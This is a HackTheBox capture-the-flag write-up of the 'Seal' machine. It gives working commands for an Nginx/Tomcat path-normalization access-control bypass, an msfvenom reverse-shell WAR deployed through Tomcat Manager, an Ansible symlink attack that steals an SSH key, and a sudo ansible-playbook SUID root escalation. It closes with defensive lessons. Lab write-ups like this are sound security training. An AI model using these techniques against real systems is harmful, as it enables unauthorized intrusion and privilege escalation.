HTB: Seal Writeup

Seal - HackTheBox Writeup

Machine Information

AttributeDetails
NameSeal
OSLinux
DifficultyMedium
Points30
Release Date10 Jul 2021
IP Address10.10.10.250
AuthorMrR3boot

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Seal is a Medium-difficulty Linux machine demonstrating realistic enterprise misconfigurations. The attack surface features a GitBucket instance leaking Tomcat manager credentials through git history, an Nginx reverse proxy with a path normalization vulnerability enabling mutual-authentication bypass, and privilege escalation through Ansible playbook abuse. The machine emphasizes source-code review, HTTP normalization attacks, and automation framework exploitation—all techniques prevalent in real-world penetration tests.

TL;DR: GitBucket credential leak → Nginx path normalization bypass (/manager/test/..;/html) → Tomcat manager WAR deployment → RCE as tomcat → Ansible copy_links=yes symlink attack → SSH as luissudo ansible-playbook arbitrary command execution → root.


Reconnaissance

Port Scanning

Terminal window
# Initial TCP SYN scan for all ports
nmap -p- --min-rate=1000 -T4 10.10.10.250
# Detailed service/version enumeration on discovered ports
nmap -p22,443,8080 -sV -sC 10.10.10.250

Results:

PortServiceVersion
22/tcpSSHOpenSSH 8.2p1 Ubuntu
443/tcpHTTPSnginx 1.18.0 (Ubuntu)
8080/tcpHTTPnginx 1.18.0 (proxying GitBucket)

Service Enumeration

Port 443 (HTTPS - E-commerce Application)

The HTTPS service hosts what appears to be a static e-commerce site titled “Seal Market.” Directory enumeration reveals several Tomcat-related endpoints:

Terminal window
# Directory fuzzing
ffuf -u https://10.10.10.250/FUZZ -w /usr/share/wordlists/dirb/common.txt

Discovered paths:

  • /admin → 404 Not Found
  • /admin/dashboard → 403 Forbidden (mutual authentication required)
  • /manager → 403 Forbidden
  • /manager/html → 403 Forbidden
  • /host-manager → 403 Forbidden

All manager endpoints return HTTP 403, indicating access control is enforced at the reverse proxy level.

Port 8080 (GitBucket)

GitBucket is an open-source Git platform written in Scala. Default credentials (root:root) fail, but the platform allows public registration. After creating an account, two repositories are visible with read access:

  1. infra - Ansible playbooks for Tomcat configuration
  2. seal_market - E-commerce application source code

Vulnerability Assessment

1. Git History Credential Leak

Cloning the root/seal_market repository and reviewing commit history:

Terminal window
# Clone the repository
git clone http://10.10.10.250:8080/git/root/seal_market.git
cd seal_market
# Review commit history
git log --oneline

One commit in the tomcat/tomcat-users.xml file reveals hardcoded Tomcat manager credentials before they were removed in a subsequent commit:

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

Credentials discovered: tomcat:42MrHBf*z8{Z%

2. Nginx Mutual Authentication Configuration

Examining nginx/sites-enabled/default in the git repository shows mutual TLS authentication is enforced for sensitive endpoints:

location /admin/dashboard {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
# ...
}
location /manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
# ...
}

Why this matters: The configuration checks $ssl_client_verify to enforce client certificate validation. Without a valid certificate, access is denied with HTTP 403.

3. Nginx Path Normalization Vulnerability

Nginx and Tomcat handle URL paths differently. When Nginx proxies requests to Tomcat:

  • Nginx parses paths literally: /manager/test/..;/html is treated as a unique path
  • Tomcat normalizes paths: /manager/test/..;/html resolves to /manager/html

This discrepancy creates an authentication bypass:

Request: /manager/test/..;/html
Nginx: Path doesn't match "/manager/html" → No cert check required → PASS
Tomcat: Path resolves to "/manager/html" → Serve manager interface → ACCESS GRANTED

Alternative bypass patterns:

  • /manager;foo=bar/html
  • /manager/test/../;/html

Initial Foothold

Exploiting Nginx Path Normalization for Mutual Auth Bypass

First, verify the bypass works on the admin dashboard:

Terminal window
# Direct access fails
curl -k https://10.10.10.250/admin/dashboard
# HTTP 403 Forbidden
# Bypass using path normalization
curl -k https://10.10.10.250/admin;foo=bar/dashboard
# HTTP 200 OK - Dashboard HTML returned

The same technique grants access to Tomcat Manager:

Terminal window
# Access Tomcat Manager GUI with bypassed authentication
curl -k -u 'tomcat:42MrHBf*z8{Z%' https://10.10.10.250/manager/test/..;/html

Why this works:

  1. Nginx doesn’t recognize /manager/test/..;/html as matching the protected /manager/html pattern
  2. Request bypasses the $ssl_client_verify check
  3. Nginx forwards the request to backend Tomcat
  4. Tomcat normalizes the path to /manager/html and serves the Manager application
  5. HTTP Basic Auth (tomcat:42MrHBf*z8{Z%) authenticates successfully

Deploying a Web Shell via Manager GUI

The discovered tomcat user has manager-gui role but lacks manager-script role, preventing the use of the /manager/text/deploy API endpoint. Instead, we use the HTML upload form.

Terminal window
# Generate a JSP web shell packaged as WAR
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.14.2 \
LPORT=4444 \
-f war \
-o shell.war
# Note: Due to /tmp being full on the jump box, working from /dev/shm
export TMPDIR=/dev/shm

Upload steps:

  1. Navigate to https://10.10.10.250/manager/test/..;/html in a browser
  2. Authenticate with tomcat:42MrHBf*z8{Z%
  3. Locate the “WAR file to deploy” section
  4. Browse to shell.war and click “Deploy”
  5. Intercept the request in Burp Suite
  6. Modify the POST path from /manager/html to /manager/test/..;/html
  7. Forward the request

Why the path bypass is required during upload:

The POST request to deploy the WAR also needs to bypass mutual authentication. Without modifying the path, Nginx would reject the deployment request with HTTP 403.

Trigger the shell:

Terminal window
# Start listener
nc -lvnp 4444
# Trigger shell execution
curl -k https://10.10.10.250/shell/

Shell obtained as tomcat user:

Terminal window
# Upgrade to full TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm
tomcat@seal:/var/lib/tomcat9$

Privilege Escalation

Discovery: Ansible Backup Playbook

Enumerating the filesystem reveals an interesting directory structure:

Terminal window
tomcat@seal:/opt$ ls -la
drwxr-xr-x 4 root root 4096 May 7 2021 backups
tomcat@seal:/opt/backups$ ls -la
drwxr-xr-x 2 root root 4096 Nov 9 12:34 archives
drwxrwxr-x 3 root root 4096 Nov 9 12:32 files
# Playbook configuration
tomcat@seal:/opt/backups$ cat playbook.yml

Playbook contents:

- hosts: localhost
tasks:
- name: Copy Files
synchronize:
src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard
dest=/opt/backups/files
copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/

Vulnerability: Ansible copy_links=yes Parameter

The synchronize module’s copy_links=yes parameter instructs Ansible to follow symlinks and copy the target file contents rather than the symlink itself. According to Ansible documentation:

Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink.

Attack vector:

  1. The playbook copies from /var/lib/tomcat9/webapps/ROOT/admin/dashboard (source)
  2. Archives run approximately every 2 minutes and are owned by luis
  3. The uploads/ subdirectory within dashboard is world-writable
  4. We can place a symlink pointing to sensitive files (e.g., SSH keys)
  5. Ansible will follow the symlink and include the target file’s contents in the archive
Terminal window
# Verify upload directory permissions
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -la
drwxrwxrwx 2 root root 4096 Nov 9 12:30 uploads
# Create symlink to luis's SSH private key
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
ln -s /home/luis/.ssh/id_rsa id_rsa
# Wait ~2 minutes for Ansible cron job to execute
# Monitor for new archive with different size
tomcat@seal:/opt/backups/archives$ ls -lh
-rw-r--r-- 1 luis luis 2.8K Nov 9 12:32 backup-2021-11-0912:32:45.gz
-rw-r--r-- 1 luis luis 3.1K Nov 9 12:34 backup-2021-11-0912:34:22.gz # Larger = contains key

Extract the private key:

Terminal window
# Copy to writable location (using /dev/shm due to /tmp being full)
cp /opt/backups/archives/backup-2021-11-0912:34:22.gz /dev/shm/
# Extract archive
cd /dev/shm
tar -xzf backup-2021-11-0912:34:22.gz
# Locate extracted key
cd dashboard/uploads
cat id_rsa

SSH as luis:

Terminal window
# Copy private key to attack machine
# Save as luis_id_rsa
chmod 600 luis_id_rsa
# SSH connection
ssh -i luis_id_rsa luis@10.10.10.250
luis@seal:~$ cat user.txt
<redacted>

User flag obtained.


Phase 2: Privilege Escalation to Root via Sudo Ansible-Playbook

Sudo Enumeration

Terminal window
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

Interpretation: The user luis can execute /usr/bin/ansible-playbook as root without a password, with a wildcard allowing any playbook file as an argument.

Method 1: Command Execution via Playbook (Primary Method)

Create a malicious playbook that sets the SUID bit on /bin/bash:

Terminal window
luis@seal:/dev/shm$ cat << 'EOF' > privesc.yml
---
- name: "Privilege Escalation"
hosts: localhost
connection: local
tasks:
- name: "Set SUID on bash"
shell: "chmod u+s /bin/bash"
register: "output"
- debug: var=output.stdout_lines
EOF
# Execute playbook as root
luis@seal:/dev/shm$ sudo /usr/bin/ansible-playbook privesc.yml

Playbook execution output:

[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [Privilege Escalation] ****************************************************
TASK [Gathering Facts] *********************************************************
ok: [localhost]
TASK [Set SUID on bash] ********************************************************
changed: [localhost]
TASK [debug] *******************************************************************
ok: [localhost] => {
"output.stdout_lines": []
}
PLAY RECAP *********************************************************************
localhost : ok=3 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0

Verify SUID bit and spawn root shell:

Terminal window
luis@seal:/dev/shm$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
# Execute bash with preserved privileges (-p flag)
luis@seal:/dev/shm$ /bin/bash -p
bash-5.0# id
uid=1000(luis) gid=1000(luis) euid=0(root) groups=1000(luis)
bash-5.0# cat /root/root.txt
<redacted>

Root flag obtained.

Method 2: Arbitrary File Read (Alternative)

Ansible-playbook validates YAML syntax before execution. Providing a non-playbook file as input causes an error that leaks file contents:

Terminal window
luis@seal:~$ sudo /usr/bin/ansible-playbook /root/root.txt
ERROR! A playbook must be a list of plays, got a <class 'str'> instead
The error appears to be in '/root/root.txt': line 1, column 1, but may
be elsewhere in the file depending on the exact syntax problem.
<redacted> # Root flag leaked in error message

Why this works: Ansible attempts to parse the file as YAML and includes file contents in error messages when parsing fails. This constitutes an arbitrary file read vulnerability when sudo access to ansible-playbook is granted.


Attack Chain Summary

Port 8080 GitBucket (Public Registration)
Clone seal_market Repository
Git Log Enumeration → Tomcat Credentials (tomcat:42MrHBf*z8{Z%')
Nginx Config Review → Mutual Auth on /manager/html
Nginx Path Normalization Bypass (/manager/test/..;/html)
Tomcat Manager GUI Access (manager-gui role)
Deploy JSP Web Shell via HTML Upload (WAR file)
RCE as tomcat user
Discover Ansible Playbook (/opt/backups/playbook.yml)
Exploit copy_links=yes → Symlink to /home/luis/.ssh/id_rsa
Extract Private Key from Archive
SSH as luis → user.txt
sudo -l → ansible-playbook with NOPASSWD
Malicious Playbook → chmod u+s /bin/bash
Execute /bin/bash -p → euid=0 → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufWeb directory fuzzing
gitRepository cloning and commit history analysis
msfvenomMalicious WAR payload generation
curlHTTP request testing and path normalization validation
Burp SuiteHTTP request interception and modification
ncReverse shell listener
ansible-playbookPrivilege escalation via sudo abuse

Key Learnings

Techniques Practiced

  • Git history enumeration for credential discovery in application source code repositories
  • Nginx path normalization exploitation to bypass reverse proxy access controls
  • HTTP normalization discrepancies between proxy (Nginx) and backend (Tomcat) servers
  • Tomcat Manager exploitation via GUI-based WAR deployment when API access is restricted
  • Ansible module abuse: exploiting copy_links=yes parameter for arbitrary file read via symlink attacks
  • Sudo privilege escalation through command injection in trusted automation tools

Lessons Learned

  1. Never commit secrets to version control. Even if credentials are removed in subsequent commits, they remain accessible in git history. Use tools like git-secrets or truffleHog to scan repositories before pushing.

  2. Path normalization must be consistent across the stack. When a reverse proxy performs authentication checks, the backend application must parse URLs identically. Discrepancies create authentication bypasses. Use a single normalization standard or implement defense-in-depth with backend authentication.

  3. Mutual TLS enforcement requires careful Nginx configuration. The if directive in Nginx location blocks is processed at the rewrite phase, before backend proxying. This creates opportunities for bypasses if path matching is not strict. Consider using location block inheritance or nginx-lua for robust certificate enforcement.

  4. File operation automation tools require hardening. Ansible’s copy_links=yes is a dangerous feature when the source directory has permissive write access. World-writable directories should never be included in automated file operations with elevated privileges.

  5. Wildcard sudo entries are rarely justified. The rule (ALL) NOPASSWD: /usr/bin/ansible-playbook * allows arbitrary code execution as root. If automation requires sudo, restrict to specific playbook files: (ALL) NOPASSWD: /usr/bin/ansible-playbook /opt/scripts/specific-playbook.yml

  6. Defense considerations:

    • Implement file integrity monitoring (FIM) on critical directories like /opt/backups and webroot paths
    • Use SELinux or AppArmor to restrict automation job capabilities
    • Audit sudo configurations regularly with tools like sudo-audit
    • Deploy mutual TLS at the application layer, not just the reverse proxy

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup references the official HackTheBox documentation for Seal (Document No. D21.100.141) prepared by MrR3boot for conceptual explanations of the Nginx path normalization vulnerability and Ansible module behavior.